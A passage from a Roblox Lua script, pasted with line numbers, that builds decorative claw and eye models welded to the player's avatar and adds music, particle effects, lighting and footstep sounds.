2500 | part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10 | |
2501 | end | |
2502 | ||
2503 | function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size) | |
2504 | local fp=it("Part") | |
2505 | fp.formFactor=formfactor | |
2506 | fp.Parent=parent | |
2507 | fp.Reflectance=reflectance | |
2508 | fp.Transparency=transparency | |
2509 | fp.CanCollide=false | |
2510 | fp.Locked=true | |
2511 | fp.BrickColor=BrickColor.new(tostring(brickcolor)) | |
2512 | fp.Name=name | |
2513 | fp.Size=size | |
2514 | fp.Position=Character.Torso.Position | |
2515 | nooutline(fp) | |
2516 | fp.Material=material | |
2517 | fp:BreakJoints() | |
2518 | return fp | |
2519 | end | |
2520 | ||
2521 | function mesh(Mesh,part,meshtype,meshid,offset,scale) | |
2522 | local mesh=it(Mesh) | |
2523 | mesh.Parent=part | |
2524 | if Mesh=="SpecialMesh" then | |
2525 | mesh.MeshType=meshtype | |
2526 | mesh.MeshId=meshid | |
2527 | end | |
2528 | mesh.Offset=offset | |
2529 | mesh.Scale=scale | |
2530 | return mesh | |
2531 | end | |
2532 | ||
2533 | function weld(parent,part0,part1,c0,c1) | |
2534 | local weld=it("Weld") | |
2535 | weld.Parent=parent | |
2536 | weld.Part0=part0 | |
2537 | weld.Part1=part1 | |
2538 | weld.C0=c0 | |
2539 | weld.C1=c1 | |
2540 | return weld | |
2541 | end | |
2542 | ||
2543 | local modelzorz=Instance.new("Model") | |
2544 | modelzorz.Parent=Character | |
2545 | modelzorz.Name="Claw1" | |
2546 | ||
2547 | Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1)) | |
2548 | Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) | |
2549 | mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2550 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2551 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) | |
2552 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2553 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) | |
2554 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2555 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2556 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) | |
2557 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2558 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) | |
2559 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2560 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) | |
2561 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2562 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) | |
2563 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2564 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) | |
2565 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2566 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) | |
2567 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2568 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) | |
2569 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2570 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) | |
2571 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2572 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) | |
2573 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2574 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2575 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) | |
2576 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2577 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) | |
2578 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2579 | Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2580 | Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) | |
2581 | mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2582 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2583 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) | |
2584 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2585 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2586 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) | |
2587 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2588 | ||
2589 | local modelzorz2=Instance.new("Model") | |
2590 | modelzorz2.Parent=Character | |
2591 | modelzorz2.Name="Claw2" | |
2592 | ||
2593 | Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1)) | |
2594 | Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) | |
2595 | mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2596 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2597 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) | |
2598 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2599 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) | |
2600 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2601 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) | |
2602 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2603 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) | |
2604 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2605 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2606 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) | |
2607 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2608 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2609 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) | |
2610 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2611 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) | |
2612 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2613 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2614 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) | |
2615 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2616 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) | |
2617 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2618 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2619 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) | |
2620 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2621 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) | |
2622 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2623 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2624 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) | |
2625 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2626 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) | |
2627 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2628 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) | |
2629 | Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2630 | Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) | |
2631 | mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2632 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2633 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) | |
2634 | ||
2635 | local modelzorz3=Instance.new("Model") | |
2636 | modelzorz3.Parent=Character | |
2637 | modelzorz3.Name="Eye" | |
2638 | ||
2639 | handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2640 | handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
2641 | mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1)) | |
2642 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2643 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2644 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996)) | |
2645 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2646 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2647 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963)) | |
2648 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
2649 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
2650 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) | |
2651 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
2652 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
2653 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039)) | |
2654 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2655 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) | |
2656 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2657 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2658 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2659 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) | |
2660 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2661 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) | |
2662 | local moosick = it("Sound",Character) | |
2663 | moosick.SoundId = "rbxassetid://150486020" | |
2664 | --142653441, 175067863 | |
2665 | moosick.Looped = true | |
2666 | moosick.Pitch = 1.0 | |
2667 | moosick.Volume = 1.5 | |
2668 | moosick:Play() | |
2669 | ||
2670 | anim = Character:findFirstChild("Animate") | |
2671 | if anim then | |
2672 | anim:Destroy() | |
2673 | end | |
2674 | ||
2675 | local particleemitter = Instance.new("ParticleEmitter", Handle) | |
2676 | particleemitter.VelocitySpread = 180 | |
2677 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2678 | particleemitter.Speed = NumberRange.new(2) | |
2679 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
2680 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2681 | particleemitter.Rate = 100 | |
2682 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2683 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2684 | particleemitter.LightEmission = 0.8 | |
2685 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2686 | ||
2687 | local particleemitter = Instance.new("ParticleEmitter", Handle2) | |
2688 | particleemitter.VelocitySpread = 180 | |
2689 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2690 | particleemitter.Speed = NumberRange.new(2) | |
2691 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
2692 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2693 | particleemitter.Rate = 100 | |
2694 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2695 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2696 | particleemitter.LightEmission = 0.8 | |
2697 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2698 | ||
2699 | local particleemitter = Instance.new("ParticleEmitter", handle) | |
2700 | particleemitter.VelocitySpread = 180 | |
2701 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2702 | particleemitter.Speed = NumberRange.new(2) | |
2703 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) | |
2704 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2705 | particleemitter.Rate = 100 | |
2706 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2707 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2708 | particleemitter.LightEmission = 0.8 | |
2709 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2710 | ||
2711 | local light = Instance.new("PointLight", Character.Torso) | |
2712 | light.Color = Color3.new(255,255,255) | |
2713 | light.Brightness = 5 | |
2714 | light.Range = 15 | |
2715 | ||
2716 | particleemitter.Enabled = true | |
2717 | ||
2718 | local Footsteps = it("Sound",Character.Torso) | |
2719 | Footsteps.SoundId = "rbxassetid://142665235" | |
2720 | Footsteps.Looped = true | |
2721 | Footsteps.Pitch = 0.8 | |
2722 | Footsteps.Volume = 0.3 | |
2723 | ||
2724 | local Footsteps2 = it("Sound",Character.Torso) | |
2725 | Footsteps2.SoundId = "rbxassetid://142665235" | |
2726 | Footsteps2.Looped = true | |
2727 | Footsteps2.Pitch = 1 | |
2728 | Footsteps2.Volume = 0.4 | |
2729 | ||
2730 | local cam = game.Workspace.CurrentCamera | |
2731 | ||
2732 | --cam.CameraSubject = Character | |
2733 | ||
2734 | for i,v in pairs(Head:children()) do | |
2735 | if v:IsA("Sound") then | |
2736 | v:Destroy() | |
2737 | end | |
2738 | end | |
2739 | ||
2740 | mouse.Button1Down:connect(function() | |
